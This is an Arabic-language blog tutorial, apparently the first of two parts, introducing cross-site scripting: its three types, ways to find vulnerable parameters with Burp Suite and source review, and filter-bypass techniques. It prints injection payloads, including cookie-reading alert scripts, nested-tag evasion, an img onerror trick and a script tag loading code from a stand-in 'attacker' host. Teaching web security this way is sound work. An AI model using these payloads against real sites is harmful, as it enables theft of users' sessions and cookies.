Hacking Minions

مقدمة في Cross Site Scripting | (1/2) XSS

موضوع اليوم سوف يكون الجزء الأول من شرحنا لثغرة “Cross Site Scripting” أو “XSS” كإختصار. الـXSS هو نوع من الهجمات على تطبيقات الويب أو المواقع الالكترونية بمسمى آخر. ببساطة, الهجمة تكون عبر عملية حقن أكواد JavaScript خبيثة بموقع موثوق لكن يوجد به ثغرة, والثغرات عديدة وتكون في الأماكن في المواقع التي تستقبل مدخلات (input) من المستخدم, وتعطي مخرجات (output) بدون التحقق من صحة المدخلات.

على سبيل المثال, الموقع يستقبل اسم يدخل من قبل المستخدم, وعوضا عن ادخال اسم صحيح, يقوم المستخدم بإدخال كود JavaScript والموقع لا يتحقق من صحة الإسم المدخل, بمعنى أنه لا يتحقق أن الإسم نص يحتوي على أكواد أم لا, فيقوم بتنفيذ الكود الخبيث. أيضا بعض المواقع تقوم بعملية Encoding أو ببساطة, تغيير نمط البيانات أو النص المدخل, إلى نمط أخر وفي هذه الحالة, أي كود خبيث سوف يتغير نمطه أثناء المعالجة فلا يتم تنفيذه.

…إذا, ماذا نستطيع أن نفعل عن طريق كود JavaScript الذي سنقوم بحقنه؟

نستطيع أن نقوم بسرقة Session أو جلسة لمستخدم أخر, فالموقع يتعامل معنا بدلاً من المستخدم. أيضا نستطيع أن نقوم بسرقة Cookies متعلقة بمستخدمين أخرين, والعديد من البيانات الأخرى. بالمختصر, نستطيع أن نحصل على بيانات حساسة يحتفظ بها المتصفح وتستخدم على تطبيق الويب. أيضا نستطيع أن نقوم بالتعديل على محتوى صفحة الـhtml.

أنواع الـXSS:

توجد ثلاث أنواع رئيسية للـ “Cross Site Scripting” وهي كالتالي:

Stored XSS:

هذا النوع يعني أن كود JavaScript المحقون سوف يخزن على الموقع المستهدف, سواءً كان في قاعدة بيانات, منتدى مراسلة, أو حقل للتعليق. وعندما يطلب الضحية البيانات التي تحتوي على الكود المحقون, سوف يقوم متصفح الضحية بتنفيذ كود JavaScript الخبيث, معتقداً أنه موثوق به لأنه ظهر عن طريق الموقع.

Reflected XSS:

كلمة Reflected تعني “منعكس”, وهذا النوع من الهجمة يعني أن كود JavaScript الخبيث ينفذ حينما يستقبل الموقع Input من المستخدم, لكن الموقع يعطي Error Message للمستخدم. فبهذه الحالة, الكود الخبيث يظهر من السيرفر إلى المستخدم. إذاً نستطيع أن نصنع URL أو رابط معين يحتوي على كودٍ JavaScript يقوم بعملية خبيثة, ونضع هذا الرابط في موقع أخر, أو نرسله للضحية عبر الإيميل أو أي طريقة أخرى، و عندما ينقر الضحية على الرابط, سيتم عرض الموقع الموثوق كما لو لم يحدث أي شيء, لكن الكود الخبيث سوف يذهب للسيرفر ثم يظهر في متصفح المستخدم وسيتم تنفيذه دون علم المستخدم, لأن المتصفح يعتقد أن الكود أتى من مصدر موثوق.

DOM-Based XSS:

هذا النوع من XSS يعتبر نوعاً ما متقدم. “DOM” هو “Domain Object Model” وهو انترفيس للـHTML ووظيفته هي تعريف هياكل المواقع أو المستندات (في حالة المواقع, صفحة html تعتبر مستند أو document) وكيف يتم الوصول والعمل مع هذه المواقع أو المستندات. إذاً تطبيق الويب أو الموقع يقوم بكتابة أو تخزين البيانات بإستخدام DOM ولا تتم معالجتها بطريقة صحيحة, نستطيع أن نقوم بحقن Payload والموقع يخزنها كجزء من الـDOM, والموقع سينفذ هذه الـPayload عن طريق المتصفح حين يتم استدعاء البيانات من قبل المستخدم. هذا النوع من XSS يعتبر Client-side ولا يرسل أي كود للسيرفر, لهذا عملية كشف الهجمة تعتبر صعبة للأشخاص الذين يحللون Server Logs (سجلات السيرفر) لأنهم في الغالب لا يرون الهجمة.

استكشاف الثغرة:

هناك العديد من الطرق لاستكشاف وإيجاد ثغرة XSS في موقع الكتروني، هنا سنشرح بعضاً منها اعتماداً على OWASP Cheat sheet:

  • البحث عن المتغيرات او الـParameters في الـURL الخاص بالصفحة.
  • اختبار الثغرة.
  • تصفح الـ Source Code الخاص بالصفحة لمعرفة كيف تقوم الصفحة بالتعامل مع المدخلات(input data).
  • استخدام الأدوات التي تقوم بالبحث عنها. (تحدثنا عن هذه الطريقة في الجزء الثاني من الموضوع).

-الطريقة الأولى، البحث عن المتغيرات او الـParameters:

هناك عدة طريق لإيجاد الـParameters لكن سأستعرض الطريقة التي أستخدمها شخصياً، وهي استخدام اداة الـSpider الموجودة في Burp Suite حيث تقوم بالخطوات التالية:

1-التقاط أي request من الموقع المستهدف.

2-Right Click ثم send to spider.

3-تنتقل إلى الـspider ثم Right Click على اسم الموقع في الجهة اليمنى ثم spider this host.

هكذا ستقوم الأداة بالبحث عن جميع الصفحات التي توجد في الموقع، ستجد خانة تسمى parameters، قم بالضغط عليها ليتم فرز الصفحات التي يوجد بها متغيرات بالترتيب ثم قم بتجربة حقن الأكواد الخبيثة في جميع المتغيرات حتى تجد أحد المتغيرات المتأثرة بالثغرة وقم باستغلاله.

-الطريقة الثانية، اختبار الثغرة في خانات الإدخال:

في هذه الطريقة سنقوم بالبحث عن الـinput fields في الموقع وتجربة حقن الأكواد الخبيثة بها جميعاً إلى أن تجد الثغرة إن كان الموقع معرضاً لها.

-الطريقة الثالثة، تصفح الـ Source Code :

هذه الطريقة ترتبط بالطريقة السابقة ولكنها تعتبر الطريقة الأكثر احترافية والتي تحتاج القليل من الخبرة في لغات برمجة واجهات الويب

(HTML, PHP, JavaScript)، في هذه الطريقة سنحتاج لمراجعة الـSource Code ومعرفة الخصائص(Functions ) المستخدمة في الصفحة لكي نقوم باختراقها يدوياً.

أولاً نقوم إدخال أي كلمة في أي input field نجده، ثم ندخل إلى السورس كود ونبحث عن الكلمة التي ادخلناها، ستظهر لنا الكلمة في وسط كود وهذا يبين طريقة تعامل الصفحة مع الكلمة، من هنا نبدأ التحليل ومحاولة كتابة كود بقوم بإغلاق الـFunction ثم كتابة الكود الخبيث خارج الخاصية.

على سبيل المثال، هذه الصفحة تقوم بوضع الكلمة داخل علامات اقتباس(Quotation marks)، ماذا سنفعل لنغلق الخاصية؟

علينا وضع علامة اقتباس ثم العلامة < لإغلاق الخاصية ثم نبدأ الكود الخبيث، ستكون النتيجة كالتالي:

<input type="text" value=""><script>alert("HACKED")</script>">
مثال على تطبيق الثغرة بالطريقة الثانية

نلاحظ أنه تم إغلاق المتغير value ثم العنصر ‘input’ ثم بدأ الكود الخاص بنا.

لكن…في أغلب المواقع متوسطة إلى عالية الحماية يكون هناك فلترة للبيانات المدخلة عن طريق Blacklist، ويجب عليك كهاكر أن تقوم بتخطي هذه الفلاتر، سنوضح بعض التكنيكات التي تساعد على تخطي الفلترة:

1-التشفير، حيث تقوم بتشفير العلامات مثل ><”= إلى URL encode أو HTML encode.

2-الحقن بدون <script> أو أي من العلامات مثل ><” حيث يمكن إدخال كود مشابه للكود التالي:

" onfocus="alert(“HACKED”)

حيث ستغلق متغير وتبدأ متغير جديد بداخل الـelement ذاته، سيبدو الكود هكذا:

<input type="text" name="state" value="" **onfocus="alert(document.cookie)** ">

3-التغيير في أحجام الأحرف، أي يكون الكود الذي تريد حقنه بالشكل التالي:

حيث في بعض الأحيان يكون الفلتر مبني على Black list ولا تكون من ضمنها كلمة بهذا الشكل(الفرق في قراءة الكمبيوتر للأحرف الكبيرة والصغيرة)

4- وضع tag مرتين بحيث إذا قام الفلتر بتعطيل المحاولة الأولى تكون المحاولة الثانية في نفس الـrequest ولا يتم تعطيلها:

<scr<script>ipt>alert(document.cookie)</script>

5-تشغيل ملف .js من خارج السيرفر، مثل:

<script src="http://attacker/xss.js"></script>

حيث يحتوي الملف على كود خبيث ويتم تشغيله عن طريق السيرفر المستهدف.

نهايةً، هناك طرق عديدة أكثر مما شرحناه وسنتركها لكم لتبحثوا أكثر عن المعلومات، ولكن إن احتجتم توضيحاً لأي نقطة فنحن في أتم الجاهزية للإجابة.

STORED XSS:

وضحنا في النقاط السابقة أنواع ثغرة XSS وطريقة عمل كلاً منها، والآن سنركز على الـ Stored XSS

وهي أخطر نوع من هذه الثغرة، وهو الأعلى تأثيراً على السيرفر ذاته وعلى المستخدمين، حيث أن كل من سيدخل إلى المسار المصاب بالثغرة سيتأثر حتماً إما بتنزيل ملف Shell مباشرة إلى الجهاز أو سرقة بيانات…إلخ، بحيث تكون مهمة الـParameter الذي تم الحقن فيه هي الحفظ داخل السيرفر كبيانات.

ويمكن حقن الأكواد في خانات مثل خانات التعليقات على المواضيع أو المقاطع او أياً كان، ويمكن حقنه في خانات تعبئة البيانات كـ contact us مثلاً، الـcarts في المتاجر الإلكترونية، الصفحات التي تتيح رفع الملفات أو حتى إذا كان الموقع يقوم بتسجيل مدخلات المستخدمين كـlogs.

فمثلاً في صفحة تعديل الملف الشخصي في خانة تغيير الـE-mail، يكون الكود الطبيعي هكذا:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />

كما فعلنا سابقاً قمنا بإغلاق الـtag الأساسي ثم إلحاقه بكود خبيث كالتالي:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com **">** **<script>alert(123)</script>** **<!--** />

نلاحظ إضافة <!- – بعد الكود وذلك لجعل الكود يهمل مابعد هذه العلامة حيث أن هذه العلامة تعني أن ما بعدها يعتبر comment ولا يتم تنفيذه.

هكذا يتم تخزين الكود في السيرفر وكلما دخل المستخدم إلى هذه الصفحة فسيتم تنفيذ الكود ويقوم بعمل مهامه.

في المثال التالي وضحنا حقن الكود في خانة كتابة منشور جديد ثم رفعه على السيرفر وكيف تم حفظه وتنفيذه كلما يتم تحديث الصفحة:

**سنشرح في الجزء الثاني طرق استغلال هذا النوع بطريقة قوية وفعالة.

DOM-Based XSS:

وكما وضحنا أن هذه الثغرة تحدث عن طريق المتصفح ولا تكون عن طريق السيرفر، فما يحدث في هذه الثغرة كالتالي:

أحياناً تكون هناك دوال في كود javascript الخاص بالموقع نفسه وظيفتها هي إظهار نافذة منبثقة (pop-up) للمستخدم يحتوي على الـinput الذي قام بإدخاله، كمثال دالة alert مع تهيئتها لتعكس الـinput، وأيضا يكون هناك دوال تقوم بمعالجة وإدخال الـinput عن طريق الرابط (URL ) وتسمى بدوال الـsources أو المصادر ولها العديد من الدوال بأكثر من وظيفة، ثم هناك دوال أخرى تقوم بإظهار هذا المدخل كمثال إظهار رسالة ترحيب “Hello Omar” حيث Omar هو المُدخل وتسمى هذه الدوال بدوال sinks وهي تشبه دالة Print في العديد من اللغات.

*سنشرح هذه الدوال أكثر عندما نبدأ في نشر مواضيع البرمجة في وقت لاحق.

في هذا المثال ستكون الدالة هي alert برسالة خطأ تحتوي على داله تقوم بوضع المدخل الذي كتبناه في الخانة الأولى داخل رسالة الخطأ، كما في الصورة التالية:

بعد مراجعة الـsource code وجدنا ان هناك دالة تقوم بمنع أي حروف أو أرقام أو رموز من أن تسجل في الجدول الموجود فوق خانات الإدخال

لكن إن قمنا بحقن كود فيتم تنفيذه، لكن يجب أن يقوم الكود المحقون بإضافة عنصر لكي ينفذ بالشكل المطلوب ويكون العنصر في الدالة التي ذكرناها في داخل الدالة alert ، سنجعل الكود يقوم بإدخال صورة لكن مصدرها خاطئ وعند الخطأ تظهر لنا الرسالة التي نرغبها، سيكون الكود كالتالي:

<img src=xx onerror=alert(123)>

إذاً الفرق بين هذا النوع من الـXSS والنوعين الآخرين هو أن هذا النوع ينم معالجة الأكواد فيه عن طريق المتصفح وليس السيرفر حيث أن الخلل يكون في نفس سكربت الـjavascript ويتم عكس أو تنفيذ الكود اعتماداً على سكربت الصفحة، فباختصار شديد تعتبر Reflected XSS لكنها تحدث في المتصفح وليس السيرفر.

–انتهى الشرح ونتمنى أن نكون قد وضحنا العديد من النقاط وطرق استكشاف ثغرة XSS–

كان هذا هو الجزء الأول من الموضوع، الجزء الثاني سيكون عن استغلال هذه الثغرة وتوضيح الخطر عملياً.

المراجع:

https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting

إذا كان لديك أي سؤال فقم بكتابته في تعليقات الموضوع بالأسفل وسنقوم بالرد في أسرع وقت ممكن.

تذكير:
كل ما يقدمه Hacking Minions هو لأسباب تعليمية فقط ونحن غير مسؤولون أبداً عن أي استخدام غير قانوني لأي محتوى يتم نشره.
0
0

اترك تعليقا